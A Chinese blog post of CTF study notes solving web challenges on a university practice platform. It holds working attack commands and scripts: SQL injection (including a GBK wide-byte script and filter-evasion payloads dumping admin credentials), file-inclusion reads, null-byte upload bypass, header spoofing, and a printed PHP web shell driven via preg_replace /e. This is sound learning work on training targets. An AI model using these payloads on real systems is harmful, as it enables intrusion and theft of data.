web

信息安全学习笔记 - 南邮攻防平台 CG CTF Web

最近南邮登录不上去了,原因不清楚

Posted by kayoch1n's blog on April 12, 2020

问题

签到题

点开题目右键检查元素可以找到在a标签里面display属性为none的文本。

md5 collision

源代码要求两个输入的md5一致。

# Source
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
echo -n QNKCDZO | md5sum
# 0e830400451993494058024219903391  -

巧合在于QNKCDZO的md5恰好是一个科学记数法表示的字符串而且值为0。使用==时,如果是这类字符串和一个数字比较,或者两个都是这类字符串,PHP会把这类字符串转换成浮点数。如果恰好输入参数a的md5值恰好也是一个科学记数法表示的0,那么验证的逻辑就会被绕过了。

curl http://chinalover.sinaapp.com/web19/?a=s214587387a

javascript里也存在类似的问题,区别在于如果两个都是字符串则不会转换

0e111 == '0e12345'  // true
'0E111' == '0e12345' // false

签到2

需要修改输入框的maxlength。

这题不是WEB

页面有个动图,保存下来之后用 hexdump 2.gif -C发现答案在尾部:

0000a330  b3 5b be c2 0a 16 b3 5f  5e c1 de 96 8e 19 08 00  |.[....._^.......|
0000a340  3b 6e 63 74 66 7b 70 68  6f 74 6f 5f 63 61 6e 5f  |;nctf{photo_can_|
0000a350  61 6c 73 6f 5f 68 69 64  33 5f 6d 73 67 7d 20 20  |also_hid3_msg}  |
0000a360  20 20 20 20 20 20 20 20  20 20 20 20 20 20        |              |

原来图片可以藏信息,图片的展示也不会受到影响。

层层递进

网页里面有两个iframe,一脸懵b。看了网上的文章发现iframe里面有个SO.html,这里面又有个iframe,里面又是 SO.html。。。最里面有个404.html,答案在注释里。不是很懂这个题目的意思,可能是暗链一类的?因为除了第一个SO.html以外,即使把下面那个网页都删掉之后,都不可见。

单身二十年

curl http://chinalover.sinaapp.com/web8/search_key.php

这个页面通过window.location让浏览器加载另一个url了,所以不能马上看到答案。

<script>window.location="./no_key_is_here_forever.php"; </script>
key is : nctf{yougotit_script_now}

单身一百年也没用

flag在响应的header里面,而且点击找key的连接会302。

php decode

# Source
<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

貌似执行一下就可以了;解码之后的内容是phpinfo();flag:nctf{...}。暂时不清楚这段编码的作用。

文件包含

包含当前页面,使用base64编码避免递归,然后可以再base64解码。

curl http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

PHP 的文件处理函数允许使用 php scheme 读取自定义的I/O流。

curl的结果中有个Set-Cookie: Login=0,server也许是通过这个Login的值判断有没有登录。这里的提示是cookie和session不一致。

curl http://chinalover.sinaapp.com/web10/index.php -v -H 'Cookie: Login=1'

MYSQL

提示是robots.txt,可以在robots.txt找到源代码

curl http://chinalover.sinaapp.com/web11/robots.txt
# Source
<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

虽然把id的值转换为整数类型,但是在比较逻辑里又使用了原来的参数,所以这里可以输入一个浮点数绕过

curl http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

GBK Injection

题目的响应直接给出来SQL语句。查了下资料,GBK注入又叫宽字节注入;GBK注入的关键在于两点:

  • 后台代码自动对引号转义,比如PHP addslashes给'" 加上反斜杠\
  • 后台和MySQL之间的连接使用GBK编码传输数据。

它的原理是:注入的内容需要包含一个范围在[0x81, 0xfe]的字符(这是GBK的第一字节,见wiki)和(单/双)引号。因为上述两点的关系,第一字节和反斜杠会被MySQL解析为一个GBK编码的汉字,本应被转义的引号就可以发挥作用了。

这里记录一下第一次手工注入,过程有亿点小激动 :laughing:

# encoding=utf-8
import time
import requests
from urllib.parse import unquote as u, quote as q

# 把count(*)改成database()直接出schema的名字,不过这个名字在这里好像没啥用
# 1. 当前schema有多少张表
count_tables = """' union select 25252, count(*) from information_schema.tables where table_schema=database() -- a"""

url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' + q(count_tables)

print(requests.get(url=url).text)

# 有6张表
# 2. 当前schema有哪些表
for i in range(6):
    get_table_names = f"""' union select 25252, table_name from information_schema.tables where table_schema=database() limit 1 offset {i} -- a"""
    url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' + q(get_table_names)

    print(requests.get(url=url).text)

    time.sleep(1)

# 3. 当前schema一共有多少列
count_columns = """' union select 25252, count(*) from information_schema.columns where table_schema=database() -- a"""

url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' + q(count_columns)

print(requests.get(url=url).text)

# 有12列
# 4. 当前schema有哪些列
for i in range(12):
    get_table_names = f"""' union select 25252, table_name from information_schema.columns where table_schema=database() limit 1 offset {i} -- a"""
    url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' + q(get_table_names)

    print(requests.get(url=url).text)

    time.sleep(1)

# 已经看到有两个列叫做flag了
# 5. 拿到flag
get_flag = """' union select 25252, flag from ctf4 -- a"""

url = 'http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%81' + q(get_flag)

print(requests.get(url=url).text)

/x00

源代码要求1. 正则表达式开头到结尾只能包含1-9 2.同时包含#biubiubiu

# Source
if (isset ($_GET['nctf'])) {
    if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
        echo '必须输入数字才行';
    else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
        die('Flag: '.$flag);
    else
        echo '骚年,继续努力吧啊~';
}

题目有提示\x00egrep 会为\x00匹配字符结束$;需要通过percent encoding传输\x00

curl http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=12222%00%23biubiubiu

bypass again

# Source
if (isset($_GET['a']) and isset($_GET['b'])) {
  if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) == md5($_GET['b']))
      die('Flag: '.$flag);
    else
      print 'Wrong.';
}

前面的两个float number format string应该派上用场了。

curl 'http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&&b=s214587387a'

变量覆盖

<!-- Source -->
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
  <?php
  extract($_POST);
  if ($pass == $thepassword_123) { ?>
      <div class="alert alert-success">
          <code><?php echo $theflag; ?></code>
      </div>
  <?php } ?>
<?php } ?>

extract函数覆盖命名空间:

curl 'http://chinalover.sinaapp.com/web18/' -X POST -d 'pass=kke&thepassword_123=kke'

伪装者

<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<pre><br><br><br><br>* * * * * * * * * * * * * * * * * * * * * * * * * *<br><br>         管理系统只能在本地登陆<br><br>           本系统外部禁止访问<br><br>* * * * * * * * * * * * * * * * * * * * * * * * * *<br></pre>不是本地登陆你还想要flag?
</html>

这里X-Forwarded-For不OK,要用Client-Ip:

curl http://chinalover.sinaapp.com/web4/xxx.php -v -H 'Client-Ip: 127.0.0.1'

上传绕过

# 随便上传一个文本文件
echo 25252 > temp.txt
curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/" -F "file=@temp.txt"
# 提示只接收图像格式

# 那就上传一个图片吧
echo 25252 > temp.png
curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/" -F "file=@temp.png"
# 提示要上传一个php文本

# 那就上传文本吧
cp temp.png temp.php
curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/" -F "file=@temp.php"
# 又提示只接受图像
# 看样子这个判断逻辑是基于文件拓展名,不会去看文件的内容

注意到参数dir的值是否以斜杠结尾会影响文件的名字:

ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$ curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/25252/" -F "file=@temp.png"
<html><head><meta charset="utf-8" /></head><body>
Array
(
    [0] => .png
    [1] => png
)
Upload: temp.png<br />Type: image/png<br />Size: 0.005859375 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
  ["dirname"]=>
  string(15) "./uploads/25252"
  ["basename"]=>
  string(8) "temp.png"
  ["extension"]=>
  string(3) "png"
  ["filename"]=>
  string(4) "temp"
}
<br>必须上传成后缀名为php的文件才行啊!<br></body>
</html>ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$ 
ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$ 
ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$ curl http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php -X POST -F "dir=/uploads/25252" -F "file=@temp.png"
<html><head><meta charset="utf-8" /></head><body>
Array
(
    [0] => .png
    [1] => png
)
Upload: temp.png<br />Type: image/png<br />Size: 0.005859375 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
  ["dirname"]=>
  string(9) "./uploads"
  ["basename"]=>
  string(13) "25252temp.png"
  ["extension"]=>
  string(3) "png"
  ["filename"]=>
  string(9) "25252temp"
}
<br>必须上传成后缀名为php的文件才行啊!<br></body>
</html>ubuntu@VM-0-5-ubuntu:~/kayoch1n.github.io$ 

也许代码通过 basename 判断文件类型,应该在dir参数上面做点文章?谷歌说可以给dir参数加null字节试试(想起前面有个 ereg 函数会把null字节当成字符串结束的标志)。

谷歌给出的参考做法是先令dir=/uploads/xxx.phpa、用burpsuite把结尾的a改成\x00。无奈网络不好,158M的社区版要下9小时’_’|||。另外curl不能在-F指定一个null字节,-F-d也不能同时使用;比如下面的命令并不能让参数带上null字节:

curl www.qq.com -X POST -F "dir=/uploads/25252.php`echo -ne '\x00'`"
# bash: warning: command substitution: ignored null byte in input
# 这是因为bash用C字符串存变量 https://stackoverflow.com/a/42493691/8706476

用python可以传输null字节:

#!/usr/bin/python3
# temp.py
import requests

with open(f'temp.png', mode='rb') as f:
  url = 'http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/upload.php'
  rsp = requests.post(url=url, data=dict(dir='/uploads/25252.php\x00'), files=dict(file=f))

  rsp.encoding = 'utf8'
  print(rsp.status_code)
  print(rsp.text)

SQL注入1

不看源代码试不出来

# Source
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];

因为用了trim,要在-- 空格的后面加上其它字符,否则注释的作用会失效。

curl http://chinalover.sinaapp.com/index.php -X POST -d 'user=admin%27%29+--+k&pass=Password'

pass check

# Source
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
  if(@!strcmp($pass,$pass1)){
    echo "flag:nctf{*}";
  }else{
    echo "the pass is wrong!";
  }
}else{
  echo "please input pass!";
}

当输入参数是一个数组时,strcmp会报错并且无返回:

curl http://chinalover.sinaapp.com/web21/ -X POST -d 'pass[]='

起名字真难

源代码要求1. 输入不是1-9;2.等于54975581388

function noother_says_correct($number)
{
       $one = ord('1');
       $nine = ord('9');
       for ($i = 0; $i < strlen($number); $i++)
       {   
               $digit = ord($number{$i});
               if ( ($digit >= $one) && ($digit <= $nine) )
               {
                       return false;
               }
       }
          return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';

可以留意到比较范围是1-9,少了0,可能是因为答案需要十六进制前缀0x的关系;在使用==比较的时候,php会将十六进制的数字字符串转型为整数。刚好 54975581388 的16进制表示0xccccccccc没有1-9。

curl http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

SQL Injection

先通过curl看一下有没有源代码curl http://chinalover.sinaapp.com/web15/index.php -v

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
  if(get_magic_quotes_gpc()){
    $str=stripslashes($str);
  }
  return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
        die('Invalid password!');
}

echo $flag;

一开始以为目标是注释掉SQL的pass条件,试了几次没有结果之后谷歌了一下,发现目标搞错了。htmlentities 始终会把单引号用 html 实体编码,因此无法通过输入单引号来实现闭合的目的。

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\'

一番谷歌之后,留意到SQL语句有4个单引号。输入单引号闭合第一个的方法行不通,但是可以尝试让后面已经存在的第三个单引号闭合第一个,这就需要用到反斜杠转义来消除第二个单引号,同时使用注释无视最后一个单引号。目标SQL长类似这样:

SELECT * FROM users WHERE name='25252\' AND pass=' or 1=1 -- a';
curl 'http://chinalover.sinaapp.com/web15/index.php?username=25252%5C&password=%20or%201%3D1%20--%20a'

需要注意下因为有stripslashes的存在,如果get_magic_quotes_gpc()为1,就需要再多给一个反斜杠;目前来说,get_magic_quotes_gpc()的值应该是0。

综合

点击链接进入题目,发现页面上有一堆中括号和运算符。第一次看到时我整个人是懵的;谷歌说这叫 jsfuck,是一种混淆JS代码的方式。把页面上面那一堆符号复制一下,打开chrome的控制台粘贴并回车,得到一个字符串1bc29b36f623ba82aaf6724fd3b16718.php

看起来这是一个页面的名字。尝试打开看一下 curl http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php -v。页面提示“TIP在我脑袋里”:仔细看curl的响应会发现多出来一个header名叫 tip,值为 history of bash

貌似类 unix 系统在当前用户文件夹~下面有一个叫.bash_history的文件,这个文件由 bash 创建、被用来存储用户执行过的命令。这里既然有提示,就看一下会有啥

curl http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history -v

结果显示有一个记录是 zip -r flagbak.zip ./*。试着访问一下 flagbak.zip,会发现答案就在这里:

wget http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip
unzip flagbak.zip
cat flag.txt

综合2

页面上有个链接/about.php?file=,应该是有本地文件包含漏洞。看一下/about.php的源代码。因为有一些实体编码的内容,所以要先解码。

# about.php
curl http://cms.nuptzj.cn/about.php?file=about.php | perl -MHTML::Entities -pe 'decode_entities($_);' > about.php

源代码的获得真的是事半功倍。about.php里面有一个隐藏目录 loginxlcteam ,但是不知道应该怎么包含它,感觉应该是有点用的样子。先看下其它php的源码:

# index.php
curl http://cms.nuptzj.cn/about.php?file=index.php | perl -MHTML::Entities -pe 'decode_entities($_);' > index.php
# so.php
curl http://cms.nuptzj.cn/about.php?file=so.php | perl -MHTML::Entities -pe 'decode_entities($_)' > cgctf/so.php

源码显示,so.php要带上一个http头才能访问curl http://cms.nuptzj.cn/so.php?id=1 -H 'User-Agent: Xlcteam Browser'。而且这里要连接数据库,可能就存在SQL注入漏洞:

<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
# mysql_real_escape_string 虽然给$id加了反斜杠,但是下面的sql语句没有用到引号,因此在利用这个SQL注入漏洞的时候不需要闭合引号。
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>

然后再次通过about.php文件包含获得antiinject的源码。antiinject函数的作用是将一些字符串替换为空字符,完全可以用一种叫做“双写”的技巧绕过;或者对于$keyword里面排在空格 之前的字符串插入一个空格

<?php
function antiinject($content){
  $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
  $info=strtolower($content);
  for($i=0;$i<=count($keyword);$i++){
    $info=str_replace($keyword[$i], '',$info);
  }
  return $info;
}
?>

开心!sql注入发现!记录一下手工注入的过程:

# 有多少列?4列
# quote("25252\tun ion\tsel ect\t1,2,3,4")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2C2%2C3%2C4'
# 当前schema的名字是?sae-exploitblog
# 好像获得schema名字也没啥用
# quote("25252\tun ion\tsel ect\t1,database(),3,4")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Cdatabase%28%29%2C3%2C4'
# 遍历表名。一共有4张表 admin, filename, hackerip, message
# quote("25252\tun ion\tsel ect\t1,table_nanameme,3,4\tfr om\tinfoorrmation_schema.tables\twhere\ttable_schema\tin\t(database())\tlimit\t1\toffset\t0")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Ctable_nanameme%2C3%2C4%09fr%20om%09infoorrmation_schema.tables%09where%09table_schema%09in%09%28database%28%29%29%09limit%091%09offset%090'
# 遍历列名。一共有14列
# admin(id, username, userpass)
# filename(id, name, path)
# hackerip(id, qq, mail, ip)
# message(id, nice, say, display)
# quote("25252\tun ion\tsel ect\t1,table_nanameme,column_nanameme,4\tfr om\tinfoorrmation_schema.columns\twhere\ttable_schema\tin\t(database())\tlimit\t1\toffset\t0")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Ctable_nanameme%2Ccolumn_nanameme%2C4%09fr%20om%09infoorrmation_schema.columns%09where%09table_schema%09in%09%28database%28%29%29%09limit%091%09offset%090'

# 遍历 admin 表
# admin 102 117 99 107 114 117 110 116 117
# quote("25252\tun ion\tsel ect\t1,usernanameme,userppassass,4\tfr om\tadadminmin\tlimit\t1\toffset\t0")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Cusernanameme%2Cuserppassass%2C4%09fr%20om%09adadminmin%09limit%091%09offset%090'

# 密码比较奇怪,看一下是什么类型的?
# quote("25252\tun ion\tsel ect\t1,column_type,column_nanameme,4\tfr om\tinfoorrmation_schema.columns\twhere\ttable_schema\tin\t(database())\tlimit\t1\toffset\t2")
curl -X POST -H 'User-Agent: Xlcteam Browser' http://cms.nuptzj.cn/so.php -d 'soid=25252%09un%20ion%09sel%20ect%091%2Ccolumn_type%2Ccolumn_nanameme%2C4%09fr%20om%09infoorrmation_schema.columns%09where%09table_schema%09in%09%28database%28%29%29%09limit%091%09offset%092'

# 密码 fuckruntu 我怎么感觉你在骂人
# ''.join(map(lambda x: chr(int(x)), '102 117 99 107 114 117 110 116 117'.split()))

现在拿到了用户名admin和密码fuckruntu,但是进行不下去了,不知道下一步该干嘛。最后查了一下资料,原来这里有个后台的管理web,要用这个用户名密码登录进去;而这个web的url和上边的隐藏目录 http://cms.nuptzj.cn/loginxlcteam有关。

登录之后提示根目录有一个一句话木马 xlcteam.php 。看一下源代码:


<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

array_walk 的作用和python的map类似;这个php的大意是从http参数里面取出www的值并当作一个callback函数应用到数组arr。

  • 这个callback的第一个参数是 '|.*|e' ,第二个参数是表单的wtf的值。
  • '|.*|e'是一个能够匹配所有非换行字符串PCRE正则表达式;
  • 两个竖杠是delimiter,其实用斜杠也可以的;
  • e 是一个表达式修饰符,在php5.5以前,如果preg_replace 的表达式使用了e修饰符,替换的结果就会被当作可变函数来执行。

因此结合 preg_replace 就能执行php函数了:

# PHP 5.3
curl http://cms.nuptzj.cn/xlcteam.php?www=preg_replace -X POST -d 'wtf=phpinfo();'
# 遍历当前目录
curl http://cms.nuptzj.cn/xlcteam.php?www=preg_replace -X POST -d 'wtf=print_r(scandir("."))'
# 似乎只能包含当前目录,不能包含上一级和根目录
# 发现了答案
curl 'http://cms.nuptzj.cn/about.php?file=恭喜你获得flag2.txt'

SQL注入2

# Source
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}

让第一个字句返回结果为空,然后才能用上第二个字句的结果;类似于编程语言中逻辑运算符的求值策略,short circuit evaluation

curl http://4.chinalover.sinaapp.com/web6/index.php -X POST -d 'user=1%27+union+select+md5%28%2725252%27%29+--+m&pass=25252'

file_get_contents

# Source
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
    echo $nctf;
}-->

php scheme input_POST 读取内容:

curl http://chinalover.sinaapp.com/web23/?file=php://input -X POST -d 'meizijiu'

变量覆盖

响应里面的注释有提示

<!--foreach($_GET as $key => $value){  
        $$key = $value;  
}  
if($name == "meizijiu233"){
    echo $flag;
}-->

PHP的可变变量:

curl http://chinalover.sinaapp.com/web24/?name=meizijiu233

Notes

  • php
    • strcmp reports a warning and returns nothing when given an array
    • extract imports variables into and may corrupts the current symbol table from an array
    • ereg considers null byte as the end of string,
      • while null bytes don’t actually terminate a string.
    • preg_replace and PCRE
    • loosely equal comparison ==
    • I/O streams along with file functions and include statement
      • url taking as argument filename or php’s
      • php://input reads from $_POST
      • php://filter
        • read: filter
          • read=convert.base64-encode can dump current page without recursion
        • resource: file
    • variable variable allows user to have variable variable names.
    • mysql_fetch_array: Fetch a result row
    • get_magic_quotes_gpc
    • htmlentities converts all applicable characters into HTML entities.
      • not always safe enough to protect from SQLi
  • sqli
    • single quotes
    • comments -- followed by spaces
      • appended chars in case of trimming
    • union
      • short circuit evaluation
    • GBK injection
  • unix
    • curl
      • post an array in form data via curl
    • .bash_history
  • http
  • md5
    • collision